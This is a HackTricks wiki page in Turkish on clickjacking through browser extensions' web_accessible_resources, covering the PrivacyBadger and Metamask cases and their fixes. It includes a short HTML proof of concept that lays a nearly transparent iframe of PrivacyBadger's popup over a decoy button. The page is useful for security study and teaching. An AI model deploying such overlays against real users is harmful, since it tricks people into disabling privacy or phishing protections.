BrowExt - ClickJacking

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Temel Bilgiler

Bu sayfa bir Tarayıcı uzantısındaki ClickJacking açığını kötüye kullanacak. ClickJacking'in ne olduğunu bilmiyorsanız kontrol edin:

Clickjacking

Uzantılar manifest.json dosyasını içerir ve bu JSON dosyasında web_accessible_resources alanı vardır. İşte Chrome belgelerinin bu konuda söyledikleri:

Bu kaynaklar, chrome-extension://[PACKAGE ID]/[PATH] URL'si aracılığıyla bir web sayfasında mevcut olacaktır; bu URL, extension.getURL method ile oluşturulabilir. Beyaz listeye alınmış kaynaklar uygun CORS başlıkları ile sunulur, bu nedenle XHR gibi mekanizmalar aracılığıyla erişilebilir.1

Bir tarayıcı uzantısındaki web_accessible_resources yalnızca web üzerinden erişilebilir değildir; aynı zamanda uzantının doğal ayrıcalıklarıyla da çalışır. Bu, şunları yapabilme yeteneğine sahip oldukları anlamına gelir:

  • Uzantının durumunu değiştirmek

  • Ek kaynaklar yüklemek

  • Tarayıcı ile belirli bir ölçüde etkileşimde bulunmak

Ancak, bu özellik bir güvenlik riski taşır. Eğer web_accessible_resources içindeki bir kaynak önemli bir işlevselliğe sahipse, bir saldırgan bu kaynağı dış bir web sayfasına gömebilir. Bu sayfayı ziyaret eden dikkatsiz kullanıcılar, bu gömülü kaynağı istemeden etkinleştirebilir. Böyle bir etkinleştirme, uzantının kaynaklarının izinlerine ve yeteneklerine bağlı olarak istenmeyen sonuçlara yol açabilir.

PrivacyBadger Örneği

PrivacyBadger uzantısında, skin/ dizininin aşağıdaki şekilde web_accessible_resources olarak tanımlanmasıyla ilgili bir açık tespit edilmiştir (Orijinal blog yazısını kontrol edin):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Bu yapılandırma potansiyel bir güvenlik sorununa yol açtı. Özellikle, tarayıcıdaki PrivacyBadger simgesi ile etkileşimde bulunulduğunda render edilen skin/popup.html dosyası, bir iframe içinde gömülebilir. Bu gömme, kullanıcıları "Bu Web Sitesi için PrivacyBadger'ı Devre Dışı Bırak" butonuna yanlışlıkla tıklamaya kandırmak için sömürülebilir. Böyle bir eylem, PrivacyBadger korumasını devre dışı bırakarak kullanıcının gizliliğini tehlikeye atar ve kullanıcıyı artan izlemeye maruz bırakabilir. Bu istismarın görsel bir gösterimi, https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm adresinde sağlanan bir ClickJacking video örneğinde görülebilir.

Bu güvenlik açığını gidermek için basit bir çözüm uygulandı: /skin/*'in web_accessible_resources listesinden kaldırılması. Bu değişiklik, skin/ dizininin içeriğinin web erişilebilir kaynaklar aracılığıyla erişilemez veya manipüle edilemez olmasını sağlayarak riski etkili bir şekilde azalttı.

Düzeltme kolaydı: web_accessible_resources'dan /skin/*'i kaldırın.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Örneği

A ClickJacking ile ilgili bir blog yazısı burada bulunabilir. Bu durumda, Metamask, erişim için kullanılan protokolün https: veya http: (örneğin chrome: değil) olduğunu kontrol ederek açığı kapattı:

Metamask uzantısında düzeltildiği başka bir ClickJacking, kullanıcıların “web_accessible_resources”: [“inpage.js”, “phishing.html”] nedeniyle bir sayfanın phishing olduğundan şüphelenildiğinde Beyaz Listeye Tıklama yapabilmeleriydi. O sayfa Clickjacking'e karşı savunmasız olduğundan, bir saldırgan, kurbanın fark etmeden beyaz listeye alması için normal bir şey göstererek bunu kötüye kullanabilir ve ardından beyaz listeye alınacak phishing sayfasına geri dönebilirdi.

Steam Envanter Yardımcı Programı Örneği

Bir tarayıcı uzantısındaki XSS'nin bir ClickJacking açığı ile nasıl zincirleme yapıldığını kontrol etmek için aşağıdaki sayfayı inceleyin:

BrowExt - XSS Example

Referanslar

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated